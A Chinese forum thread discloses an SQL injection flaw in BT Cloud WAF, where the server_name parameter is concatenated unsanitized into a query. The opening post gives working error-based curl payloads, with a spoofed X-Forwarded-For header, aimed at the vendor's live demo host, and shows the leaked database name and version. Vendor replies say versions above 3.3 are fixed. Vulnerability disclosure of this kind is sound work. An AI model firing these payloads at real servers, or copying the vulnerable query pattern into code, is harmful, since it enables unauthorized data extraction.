当前位置:论坛首页 > Linux面板 > 建议

【已完成】宝塔waf存在严重的SQL注入漏洞

发表在 Linux面板2024-2-17 13:11 [复制链接] 6 3931

宝塔waf作为一个防sql注入工具,居然本身也有SQL注入漏洞?
并且在9小时前被发布到V2EX,
帖子直达:https://www.v2ex.com/t/1015934

请看这段代码
  1. get_site_status = function ()
  2.         if not ngx.ctx.get_uri_args.server_name then
  3.                 return Public.get_return_state(false, "参数错误")
  4.         end

  5.         ... 此处省略若干代码

  6.         slot7, slot8, slot9, slot10 = slot4.query(slot4, [[
  7. SELECT
  8.                 SUM(request) as req,
  9.                 SUM(err_40x) as err_40x,
  10.                 SUM(err_500) as err_500,
  11.                 SUM(err_502) as err_502,
  12.                 SUM(err_503) as err_503,
  13.                 SUM(err_504) as err_504,
  14.                 SUM(err_499) as err_499,
  15.                 SUM(send_bytes) as send_bytes,
  16.                 SUM(receive_bytes) as recv_bytes,
  17.                 SUM(pc_count) as pc_count,
  18.                 SUM(mobile_count) as mobile_count,
  19.                 SUM(spider_baidu) as spider_baidu,
  20.                 SUM(spider_google) as spider_google,
  21.                 SUM(spider_bing) as spider_bing,
  22.                 SUM(spider_360) as spider_360,
  23.                 SUM(spider_sogou) as spider_sogou,
  24.                 SUM(spider_other) as spider_other,
  25.                 SUM(ip_count) as ip_count,
  26.                 SUM(pv_count) as pv_count,
  27.                 SUM(uv_count) as uv_count
  28.                  FROM `request_total` WHERE `server_name`=']] .. slot1 .. "' AND `date`='" .. os.date("%Y-%m-%d") .. "'")

  29.         ... 此处省略若干代码

  30.         return Public.get_return_state(true, slot6)
  31. end
复制代码
这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码
这段逻辑就在上文提到的 get_site_status API 中,slot1 变量就是 server_name 参数。原理很简单,server_name 参数没有做任何校验就直接带入了 SQL 查询。
宝塔官网还没有修复这个问题,还是拿宝塔官网为例,试试以下命令:
  1. curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,database()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
复制代码
响应如下
  1. {"status":false,"msg":"数据查询失败: XPATH syntax error: '\\btwaf': 1105: HY000."}
复制代码
从响应来看已经注入成功,通过]
继续执行以下命令:
  1. curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,version()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
复制代码
响应如下
  1. {"status":false,"msg":"数据查询失败: XPATH syntax error: '\\8.1.0': 1105: HY000."}
复制代码
从响应来看,mysql 版本是 8.1.0

在继续执行以下命令
  1. curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,(select'hello,world')))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
复制代码
响应如下
  1. {"status":false,"msg":"数据查询失败: XPATH syntax error: '\\hello,world': 1105: HY000."}
复制代码
看起来 select 'hello,world' 也执行成功了,到此为止,基本可以执行任意命令。
使用道具 举报 只看该作者 回复
发表于 2024-2-17 13:49:11 | 显示全部楼层
本帖最后由 宝塔用户_rmkpbl 于 2024-2-17 13:55 编辑

宝塔在群里说是去年的漏洞,修复了
使用道具 举报 回复 支持 反对
发表于 2024-2-17 14:05:23 | 显示全部楼层
宝塔用户_rmkpbl 发表于 2024-2-17 13:49
宝塔在群里说是去年的漏洞,修复了

好的,修复了就好。。。
使用道具 举报 回复 支持 反对
发表于 2024-2-17 14:40:12 | 显示全部楼层
您好,堡塔云waf的版本大于3.3为安全版本。
这个漏洞去年就修复了。
漏洞只能查看数据,并不能造成什么威胁,危害性较小。

堡塔云WAF和宝塔面板并不是一个产品,不要被文章误导。
使用道具 举报 回复 支持 反对
发表于 2024-2-17 15:05:57 | 显示全部楼层
大炮运维V587 发表于 2024-2-17 14:40
您好,堡塔云waf的版本大于3.3为安全版本。
这个漏洞去年就修复了。
漏洞只能查看数据,并不能造成什么威胁 ...

那为什么例子中的 http://btwaf-demo.bt.cn 还能触发漏洞,你们自己的服务都不升级版本?
使用道具 举报 回复 支持 反对
发表于 2024-2-17 17:59:27 | 显示全部楼层
小小程序猿 发表于 2024-2-17 15:05
那为什么例子中的 http://btwaf-demo.bt.cn 还能触发漏洞,你们自己的服务都不升级版本? ...

那你试试能不能复现不就行?那个作者明显博人眼球,忽悠人呢。堡塔云都能说成宝塔
使用道具 举报 回复 支持 反对
发表于 2024-2-18 14:14:32 | 显示全部楼层
宝塔用户_nwusmn 发表于 2024-2-17 17:59
那你试试能不能复现不就行?那个作者明显博人眼球,忽悠人呢。堡塔云都能说成宝塔 ...

当然能复现啊,不然我怎么会这样说,不过此时已经不能复现了,提示被拦截。说明了什么,你自己品品
使用道具 举报 回复 支持 反对
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

普通问题处理

论坛响应时间:72小时

问题处理方式:排队(仅解答)

工作时间:白班:9:00 - 18:00

紧急问题处理

论坛响应时间:10分钟

问题处理方式:1对1处理(优先)

工作时间:白班:9:00 - 18:00

工作时间:晚班:18:00 - 24:00

立即付费处理

工作时间:09:00至24:00

快速回复 返回顶部 返回列表